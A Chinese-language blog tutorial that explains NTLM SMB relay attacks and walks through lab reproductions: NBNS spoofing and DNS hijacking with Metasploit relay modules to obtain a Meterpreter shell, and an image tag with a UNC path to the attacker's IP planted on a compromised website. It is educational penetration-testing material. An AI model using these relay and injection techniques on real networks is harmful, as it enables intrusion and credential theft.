PS:下面的都是自己实际测试过的,并非理论文章,如果有什么地方不对的请斧正,谢谢 >_<
首先,介绍一下SMB中继攻击的运作原理
假设左边的主机为A,右边的主机为B
A试图访问B的共享服务
第一步 A对B说:骚年,请让我登陆
第二步 B对A说:骚年,我给你一个challenge,请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限
第三步 A对B说:我加密好了,给你
情景一:
第四步 B对A说:嗯,对的,请进(认证结束)
情景二:
第四步 B对A说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆
第五步 A对B说:好嘛,我用你之前告诉我的身份试试,回到第一步,循环下去
现在,如果加入了一名第三者C到两者之间,C企图查看B的隐私,C会怎么做?
上图就是C的做法
第一步 A对C说:骚年,请让我登陆
第二步 C对B说:骚年,请让我登陆
第三步 B对C说:骚年,我给你一个challenge,请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限
第四步 C对A说:骚年,我给你一个challenge(这是B发出的challenge),请先把你的密码Hash和challenge加密一下返回给我,我得确认你是否有权限
第五步 A对C说:我加密好了,给你
第六步 C对B说:我加密好了,给你
情景一:
第七步 B对C说:嗯,对的,请进(认证结束,C替代A获取了权限)
第八步 C对A说:骚年,不对,你的身份不能登陆(A的认证结束)
情景二:
第七步 B对C说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆
第八步 C对B说:好嘛,我用你之前告诉我的身份试试
第九步 C对A说:骚年,不对,你的身份不能登陆,你可以试试以别人的身份来登陆
第十步 A对C说:好嘛,我用你之前告诉我的身份试试,回到第一步,循环下去
OK,你可以看出,A和B都被C欺骗了,这明显是一场中间人攻击
这里面还有一处不合理的地方,不知道你发现没有,A想和B对话,怎么会和C吹起牛来了呢?
肯定是A误以为C就是B,C是怎么做到的呢?
下面就来探究一下C的骗人手法,如果你是C你会怎么做呢?
1. NBNS欺骗,前提
a) A B C必须都处在同一个局域网下面
b) A寻找B是用的B的计算机名而不是B的ip
2. DNS劫持,前提
a) A寻找B是用的B的域名而不是B的ip
下面就让我们来重演一下这次攻击!
方式1:NBNS欺骗 + SMB中继
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130 计算机名:smbserver
C kali 192.168.30.145
Kali msf下使用smb_replay模块,设置SMBHOST为B(192.168.30.130)
Kali msf下使用nbns_response模块将B的计算机名(smbserver)解析到C的IP(192.168.30.145)
Winxp 访问smbserver的共享
OK,到Kali下看看结果
Cool,我们成功拿到了B的Meterpreter shell
原理:NBNS是广播的,所以C只需要赶在B之前告诉A:“C的计算机名是smbserver”就行了
方式2:DNS劫持+SMB中继
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130 域名:share.baidu.com
C kali 192.168.30.145
由于虚拟机有限,我将B模拟成一台内网中被黑掉的DNS服务器
Kali msf下使用smb_replay模块,设置SMBHOST为B(192.168.30.130)
将DNS服务器的 share.baidu.com 域名指向C(192.168.30.145)
Winxp 访问share.baidu.com的共享
OK,到Kali下看看结果
成功拿到B的shell
如果你很注意细节,你应该会有一个问题,如果我们将NBNS欺骗和DNS劫持同时启用,但指向不同的IP会有怎样的效果?
我将告诉你:只有DNS劫持会起作用
看下图就知道了
A先访问一个不存在的名字,同时抓取数据包
你可以看出A(192.168.30.129)发出的第一个数据包是DNS查询
上面的两种攻击都是在A先试图想和B说话造成的,假如他们本来就不怎么联系那我们岂不是要等很久?
这太被动了,我必须改变这种局面!!怎么改呢,下面就是我想说的了 >_<
UNC攻击+SMB中继
出品人:
A winxp 192.168.30.129
B win2k3 192.168.30.130
C kali 192.168.30.145
由于虚拟机有限,我将B模拟成一台被黑掉的WEB服务器(域名www.caoliu.oh)
管理员每天都喜欢在个人机上访问草榴网,看看有什么新的资源
我知道他会这样,所以我先拿下了草榴的WEB权限,然后在首页插入了这样的一个链接
<imgsrc=”192.168.30.145rio.jpg”/>
很不幸,这张图他不会看到,如果他的个人机的账户及密码是和服务器是一样的,呵呵,他的服务器就这么沦陷了。但是有一个前提 A B C的共享都是互相可访问的,如果个人机在防火墙外,那这就不可行了。
原理就是这样,不插图了,自己脑补一下就行了 >_<
SMB中继升级版
上面都是A访问B导致B被黑掉,而且UNC攻击还需要在账户及密码一样的情况下才能成功,这太二了,既然可以SMB中继,为何我们不把A的流量中继到A本身,那样账户和密码一定是对的。如果A开启了共享,且可被C访问,那么一定会攻击成功。好了,就到这里,具体的自己实验吧!
相关文章:
http://pen-testing.sans.org/blog/pen-testing/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python